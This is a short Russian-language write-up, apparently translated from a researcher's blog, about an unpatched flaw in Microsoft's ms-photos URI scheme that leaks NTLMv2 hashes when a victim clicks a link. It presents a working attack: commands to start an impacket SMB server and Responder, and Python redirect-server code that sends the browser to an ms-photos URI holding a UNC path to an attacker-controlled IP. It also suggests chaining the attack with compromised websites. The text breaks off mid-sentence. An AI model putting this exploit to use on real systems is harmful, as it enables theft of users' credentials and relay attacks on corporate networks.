
Новая уязвимость 0 day, позволяющая утекать NTLM хеши из браузеров за один клик.
Автор: Ruben Enkaoua
Схема URI ms-photos от Microsoft принимает fileName в качестве параметра, который можно указать в виде UNC-пути, что приводит к утечке хэшей NTLMv2-SSP при открытии. Создав специально отформатированную ссылку, злоумышленник может заставить жертву запустить приложение Microsoft Фотографии прямо из браузера. При активации это поведение приводит к утечке хэша NTLMv2-SSP жертвы на сервер, контролируемый злоумышленником. Этот недостаток позволяет раскрыть учетные данные и потенциально осуществить атаки ретрансляции в корпоративных средах, требуя минимального взаимодействия с пользователем (запуск приложения). Microsoft не признала уязвимость, и CVE не был присвоен. Также я вдохновлялся блогом Syss от 2022 года.
Поскольку запрос NTLMv2-SSP может быть утечён через общедоступные UNC-пути (за исключением случая, когда настроено правило брандмауэра для исходящего SMB/445), уязвимость можно комбинировать с заражением веб-сайтов, что приводит к атакам на цепочки поставок.
Из документации MSDN о схеме URI можно узнать следующее:
Запустите smb-сервер
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
Запустите вредоносный python-сервер
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
Перейдите по адресу
Откройте Chrome и перейдите по адресу /test

Также это можно сделать с помощью Responder. Любые неразрешённые домены, отправляющие LLMNR-запрос, будут перенаправлены на скрипт, что позволит принудить любого пользователя вместо всплывающего окна аутентификации NTLM. Чтобы это сработало, сначала запустите скрипт, а затем Responder.

Это работает, потому что наше приложение перенаправляет напрямую на схему URI ms-photos, содержащую UNC-путь нашего сервера:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
Перенаправление со стороны клиента: